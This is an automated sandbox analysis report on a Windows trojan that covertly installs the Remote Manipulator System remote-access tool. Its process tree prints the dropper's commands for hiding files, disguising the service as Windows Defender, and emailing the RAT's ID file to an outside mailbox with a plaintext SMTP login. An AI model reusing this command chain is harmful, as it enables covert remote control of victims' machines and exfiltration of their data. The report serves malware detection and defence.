rms | 1dbf988be32a5b726b64471a3eda92d7c8bb40414c53a6f8f5b2382ddd42ac56

Analysis

max time kernel
146s
max time network
142s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
28-07-2024 11:03

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General

Target

160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
Size

4.5MB
MD5

160149ffe7de385c711f621e2a8539c1
SHA1

06cc191aa38cedbf4c35f3f7359127e53caca1fd
SHA256

1dbf988be32a5b726b64471a3eda92d7c8bb40414c53a6f8f5b2382ddd42ac56
SHA512

6770440accb6ef6a38105a9c411892f02657006725cb2e5abb7946ffe3a06c50a0487e4afceb64df804e76c0ab019114845042e8a00469bb70b2056ee4f005d2
SSDEEP

98304:HKF7KQF1iEaGzM038RzYf0ML2x5tTDaLclizt5C2:HS7KQrLM/RzYI7Da4IB

Score

10^/10

rms aspackv2 discovery evasion rat trojan upx

Malware Config

Signatures

RMS
Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.
trojan rat rms

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
3288	attrib.exe
856	attrib.exe

ACProtect 1.3x - 1.4x DLL software 2 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral2/files/0x0007000000023426-25.dat	acprotect
behavioral2/files/0x0008000000023425-24.dat	acprotect

ASPack v2.12-2.42 2 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x0007000000023428-23.dat	aspack_v212_v242
behavioral2/files/0x0008000000023427-22.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-195445723-368091294-1661186673-1000\Control Panel\International\Geo\Nation	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
Key value queried	\REGISTRY\USER\S-1-5-21-195445723-368091294-1661186673-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 8 IoCs

pid	Process
1612	rutserv.exe
1308	rutserv.exe
1832	rutserv.exe
5008	rutserv.exe
432	rfusclient.exe
5064	rfusclient.exe
2172	rfusclient.exe
3660	mailsend.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x0007000000023426-25.dat	upx
behavioral2/files/0x0008000000023425-24.dat	upx

Drops file in Program Files directory 35 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rfusclient.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\rutserv.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File created	C:\Program Files (x86)\System\__tmp_rar_sfx_access_check_240613015	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\vp8decoder.dll	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rfusclient.exe	attrib.exe
File opened for modification	C:\Program Files (x86)\System\id.txt	attrib.exe
File created	C:\Program Files (x86)\System\install.bat	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\vp8decoder.dll	attrib.exe
File opened for modification	C:\Program Files (x86)\System\regedit.reg	attrib.exe
File opened for modification	C:\Program Files (x86)\System\mailsend.exe	attrib.exe
File created	C:\Program Files (x86)\System\vp8encoder.dll	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\rutserv.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\regedit.reg	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File created	C:\Program Files (x86)\System\mailsend.exe	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.bat	attrib.exe
File created	C:\Program Files (x86)\System\install.vbs	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
File opened for modification	C:\Program Files (x86)\System	attrib.exe
File opened for modification	C:\Program Files (x86)\System\vp8encoder.dll	attrib.exe
File created	C:\Program Files (x86)\System\id.txt	reg.exe
File opened for modification	C:\Program Files (x86)\System\install.vbs	attrib.exe
File opened for modification	C:\Program Files (x86)\Common Files\System	attrib.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3660	sc.exe
3944	sc.exe
2456	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 31 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regedit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rfusclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mailsend.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rutserv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
1760	timeout.exe
2348	timeout.exe
1136	timeout.exe

Kills process with taskkill 4 IoCs

evasion

pid	Process
3004	taskkill.exe
1332	taskkill.exe
2560	taskkill.exe
2400	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-195445723-368091294-1661186673-1000_Classes\Local Settings	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe

Runs .reg file with regedit 1 IoCs

pid	Process
2588	regedit.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1612	rutserv.exe
1612	rutserv.exe
1612	rutserv.exe
1612	rutserv.exe
1612	rutserv.exe
1612	rutserv.exe
1308	rutserv.exe
1308	rutserv.exe
1832	rutserv.exe
1832	rutserv.exe
5008	rutserv.exe
5008	rutserv.exe
5008	rutserv.exe
5008	rutserv.exe
5008	rutserv.exe
5008	rutserv.exe
5064	rfusclient.exe
5064	rfusclient.exe
3660	mailsend.exe
3660	mailsend.exe

Suspicious behavior: SetClipboardViewer 1 IoCs

pid	Process
2172	rfusclient.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	taskkill.exe
Token: SeDebugPrivilege	1332	taskkill.exe
Token: SeDebugPrivilege	2560	taskkill.exe
Token: SeDebugPrivilege	2400	taskkill.exe
Token: SeDebugPrivilege	1612	rutserv.exe
Token: SeDebugPrivilege	1832	rutserv.exe
Token: SeTakeOwnershipPrivilege	5008	rutserv.exe
Token: SeTcbPrivilege	5008	rutserv.exe
Token: SeTcbPrivilege	5008	rutserv.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
1612	rutserv.exe
1308	rutserv.exe
1832	rutserv.exe
5008	rutserv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4164 wrote to memory of 3956	4164	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe	84
PID 4164 wrote to memory of 3956	4164	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe	84
PID 4164 wrote to memory of 3956	4164	160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe	84
PID 3956 wrote to memory of 3960	3956	WScript.exe	85
PID 3956 wrote to memory of 3960	3956	WScript.exe	85
PID 3956 wrote to memory of 3960	3956	WScript.exe	85
PID 3960 wrote to memory of 3288	3960	cmd.exe	87
PID 3960 wrote to memory of 3288	3960	cmd.exe	87
PID 3960 wrote to memory of 3288	3960	cmd.exe	87
PID 3960 wrote to memory of 856	3960	cmd.exe	88
PID 3960 wrote to memory of 856	3960	cmd.exe	88
PID 3960 wrote to memory of 856	3960	cmd.exe	88
PID 3960 wrote to memory of 3004	3960	cmd.exe	89
PID 3960 wrote to memory of 3004	3960	cmd.exe	89
PID 3960 wrote to memory of 3004	3960	cmd.exe	89
PID 3960 wrote to memory of 1332	3960	cmd.exe	91
PID 3960 wrote to memory of 1332	3960	cmd.exe	91
PID 3960 wrote to memory of 1332	3960	cmd.exe	91
PID 3960 wrote to memory of 2560	3960	cmd.exe	92
PID 3960 wrote to memory of 2560	3960	cmd.exe	92
PID 3960 wrote to memory of 2560	3960	cmd.exe	92
PID 3960 wrote to memory of 2400	3960	cmd.exe	93
PID 3960 wrote to memory of 2400	3960	cmd.exe	93
PID 3960 wrote to memory of 2400	3960	cmd.exe	93
PID 3960 wrote to memory of 4404	3960	cmd.exe	94
PID 3960 wrote to memory of 4404	3960	cmd.exe	94
PID 3960 wrote to memory of 4404	3960	cmd.exe	94
PID 3960 wrote to memory of 2588	3960	cmd.exe	95
PID 3960 wrote to memory of 2588	3960	cmd.exe	95
PID 3960 wrote to memory of 2588	3960	cmd.exe	95
PID 3960 wrote to memory of 1760	3960	cmd.exe	96
PID 3960 wrote to memory of 1760	3960	cmd.exe	96
PID 3960 wrote to memory of 1760	3960	cmd.exe	96
PID 3960 wrote to memory of 1612	3960	cmd.exe	97
PID 3960 wrote to memory of 1612	3960	cmd.exe	97
PID 3960 wrote to memory of 1612	3960	cmd.exe	97
PID 3960 wrote to memory of 1308	3960	cmd.exe	98
PID 3960 wrote to memory of 1308	3960	cmd.exe	98
PID 3960 wrote to memory of 1308	3960	cmd.exe	98
PID 3960 wrote to memory of 1832	3960	cmd.exe	99
PID 3960 wrote to memory of 1832	3960	cmd.exe	99
PID 3960 wrote to memory of 1832	3960	cmd.exe	99
PID 5008 wrote to memory of 432	5008	rutserv.exe	102
PID 5008 wrote to memory of 432	5008	rutserv.exe	102
PID 5008 wrote to memory of 432	5008	rutserv.exe	102
PID 5008 wrote to memory of 5064	5008	rutserv.exe	101
PID 5008 wrote to memory of 5064	5008	rutserv.exe	101
PID 5008 wrote to memory of 5064	5008	rutserv.exe	101
PID 3960 wrote to memory of 2456	3960	cmd.exe	103
PID 3960 wrote to memory of 2456	3960	cmd.exe	103
PID 3960 wrote to memory of 2456	3960	cmd.exe	103
PID 3960 wrote to memory of 3660	3960	cmd.exe	104
PID 3960 wrote to memory of 3660	3960	cmd.exe	104
PID 3960 wrote to memory of 3660	3960	cmd.exe	104
PID 3960 wrote to memory of 3944	3960	cmd.exe	105
PID 3960 wrote to memory of 3944	3960	cmd.exe	105
PID 3960 wrote to memory of 3944	3960	cmd.exe	105
PID 3960 wrote to memory of 2348	3960	cmd.exe	106
PID 3960 wrote to memory of 2348	3960	cmd.exe	106
PID 3960 wrote to memory of 2348	3960	cmd.exe	106
PID 5064 wrote to memory of 2172	5064	rfusclient.exe	107
PID 5064 wrote to memory of 2172	5064	rfusclient.exe	107
PID 5064 wrote to memory of 2172	5064	rfusclient.exe	107
PID 3960 wrote to memory of 5116	3960	cmd.exe	109

Views/modifies file attributes 1 TTPs 7 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3288	attrib.exe
856	attrib.exe
4488	attrib.exe
1800	attrib.exe
3400	attrib.exe
2660	attrib.exe
4928	attrib.exe

C:\Users\Admin\AppData\Local\Temp\160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\160149ffe7de385c711f621e2a8539c1_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4164
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Program Files (x86)\System\install.vbs"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:3956
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\System\install.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3960
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3288
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\*.*" +H +S /S /D
      4⤵
      Sets file to hidden
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:856
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3004
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rutserv.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1332
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2560
  - - C:\Windows\SysWOW64\taskkill.exe
      Taskkill /f /im rfusclient.exe
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2400
  - - C:\Windows\SysWOW64\reg.exe
      reg delete "HKLM\SYSTEM\Remote Manipulator System" /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4404
  - - C:\Windows\SysWOW64\regedit.exe
      regedit /s "regedit.reg"
      4⤵
      System Location Discovery: System Language Discovery
      Runs .reg file with regedit
      PID:2588
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 2
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1760
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /silentinstall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1612
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /firewall
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:1308
  - - C:\Program Files (x86)\System\rutserv.exe
      rutserv.exe /start
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:1832
  - - C:\Windows\SysWOW64\sc.exe
      sc failure RManService reset= 0 actions= restart/1000/restart/1000/restart/1000
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2456
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService obj= LocalSystem type= interact type= own
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3660
  - - C:\Windows\SysWOW64\sc.exe
      sc config RManService DisplayName= "Windows_Defender v6.3"
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:3944
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 120
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:2348
  - - C:\Windows\SysWOW64\reg.exe
      reg export "HKEY_LOCAL_MACHINE\SYSTEM\Remote Manipulator System\v4" "id.txt"
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      PID:5116
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 10
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1136
  - - C:\Program Files (x86)\System\mailsend.exe
      mailsend.exe -t [email protected] -attach id.txt,application/txt -sub "RMS" -smtp smtp.mail.ru -port 465 -f [email protected] -name "RMS" -ssl -auth-login -user foxyanimatronic700 -pass komoro00 -q
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:3660
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\regedit.reg" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4488
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\mailsend.exe" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:1800
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\id.txt" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:3400
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.vbs" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2660
  - - C:\Windows\SysWOW64\attrib.exe
      attrib "C:\Program Files (x86)\System\install.bat" -S -H /S /D
      4⤵
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:4928

C:\Program Files (x86)\System\rutserv.exe
"C:\Program Files (x86)\System\rutserv.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:5064
- - C:\Program Files (x86)\System\rfusclient.exe
    "C:\Program Files (x86)\System\rfusclient.exe" /tray
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: SetClipboardViewer
    PID:2172
- C:\Program Files (x86)\System\rfusclient.exe
  "C:\Program Files (x86)\System\rfusclient.exe" /tray
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files (x86)\System\install.bat

Filesize
1KB

MD5
b80886fab5a9365c59ca3cf922f9040c

SHA1
700afde846ad832b6c5b6673e1be1dd483cb21ea

SHA256
30cb2ffa14d73d4ae3d4b1047731048fcf405d9bd968d51f3ec1a954c08e0adf

SHA512
104e8169de8d2b841cc63af2dc4eba5e82434ebdca7996e208d57c69fb14d89d28541b1d7ca25426f38f5950c84cf62baad5530de018cd676e062b265c680f7a

Download Submit
C:\Program Files (x86)\System\install.vbs

Filesize
120B

MD5
c719a030434d3fa96d62868f27e904a6

SHA1
f2f750a752dd1fda8915a47b082af7cf2d3e3655

SHA256
2696ee4302a85c6b4101fc6d1ce8e38b94fd9c2bbd1acc73b553576b3aacb92f

SHA512
47a9367f7596d19c0636766cd34ca3701d3b1239a284f2333fd04a48422f53b0df21002fd38a4f229f6a2f9f9e8163267e13ecb24d9ce6de1863d5f59ab04ff0

Download Submit
C:\Program Files (x86)\System\mailsend.exe

Filesize
1.2MB

MD5
ac23b87f8ec60ddd3f555556f89a6af8

SHA1
3cea6f84757d15ee8d7fa19d3dfc4992c50aa90c

SHA256
80a1d0a15066c7af67cf5377e59e450c2a96018505236f8f3352173282b27ae4

SHA512
57e67eab9c2a3b94161500eb0091533a539454e9bfddd47c61477299de9455b7ca11c498c5d8a7d77f4763a2053acb4ff96868a9313fede29969edc16d35b167

Download Submit
C:\Program Files (x86)\System\regedit.reg

Filesize
12KB

MD5
251212852a073e6fc5fbe3af92f66adb

SHA1
6ee07cb20f57830325c11867e68fea49ae0e87ea

SHA256
f2c83f4cc13b0cd28090dd128ec5ff221681118f6100eddaead88526070ceecb

SHA512
f3853ece99edc6d39edbf1c7bca471e71aa034684a85358b033e50418ffa061f1e8724cba76065048901c20c9f9a6dbd86a17ee33756c0452d4d3358047296be

Download Submit
C:\Program Files (x86)\System\rfusclient.exe

Filesize
1.5MB

MD5
b8667a1e84567fcf7821bcefb6a444af

SHA1
9c1f91fe77ad357c8f81205d65c9067a270d61f0

SHA256
dc9d875e659421a51addd8e8a362c926369e84320ab0c5d8bbb1e4d12d372fc9

SHA512
ec6af663a3b41719d684f04504746f91196105ef6f8baa013b4bd02df6684eca49049d5517691f8e3a4ba6351fe35545a27f728b1d29d949e950d574a012f852

Download Submit
C:\Program Files (x86)\System\rutserv.exe

Filesize
1.7MB

MD5
37a8802017a212bb7f5255abc7857969

SHA1
cb10c0d343c54538d12db8ed664d0a1fa35b6109

SHA256
1699b9b4fc1724f9b0918b57ca58c453829a3935efd89bd4e9fa66b5e9f2b8a6

SHA512
4e20141da8ea4499daf8be5cc41b664dc4229e9575765caf6dc5873d8d0a09f9e200988e1404e767d0415005876a4cf38d5737bd3e1b2c12c4a8fb28adb4f0a0

Download Submit
C:\Program Files (x86)\System\vp8decoder.dll

Filesize
155KB

MD5
88318158527985702f61d169434a4940

SHA1
3cc751ba256b5727eb0713aad6f554ff1e7bca57

SHA256
4c04d7968a9fe9d9258968d3a722263334bbf5f8af972f206a71f17fa293aa74

SHA512
5d88562b6c6d2a5b14390512712819238cd838914f7c48a27f017827cb9b825c24ff05a30333427acec93cd836e8f04158b86d17e6ac3dd62c55b2e2ff4e2aff

Download Submit
C:\Program Files (x86)\System\vp8encoder.dll

Filesize
593KB

MD5
6298c0af3d1d563834a218a9cc9f54bd

SHA1
0185cd591e454ed072e5a5077b25c612f6849dc9

SHA256
81af82019d9f45a697a8ca1788f2c5c0205af9892efd94879dedf4bc06db4172

SHA512
389d89053689537cdb582c0e8a7951a84549f0c36484db4346c31bdbe7cb93141f6a354069eb13e550297dc8ec35cd6899746e0c16abc876a0fe542cc450fffe

Download Submit
C:\Users\Admin\AppData\Local\Temp\REG6141.tmp

Filesize
20KB

MD5
5a0277afdcddd19f52a324372d2b3ad1

SHA1
5904935bbe00c9537b2cf83100535ceb5698032a

SHA256
a97608c905d75ec19ba89ba3c4b64618598196b7a65fe2e29ccee3b76d72a814

SHA512
7631a989c4dfb6fd1579543e7361c70ee5311f1e41353dcd06e54f4fb723406063ffc82a47c85bf6884b20901f4bdebd7ea24823a1312dc4fc10970a77f47dab

Download Submit
memory/432-61-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-59-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-64-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-65-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-86-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-89-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-94-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-101-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-110-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-62-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/432-63-0x0000000000400000-0x00000000009B6000-memory.dmp

Filesize
5.7MB

Download
memory/1308-37-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-43-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-36-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-38-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-40-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-41-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1308-39-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-30-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-32-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-27-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-31-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-29-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-28-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1612-34-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1832-47-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1832-48-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1832-45-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
memory/1832-50-0x0000000000400000-0x0000000000AB9000-memory.dmp

Filesize
6.7MB

Download
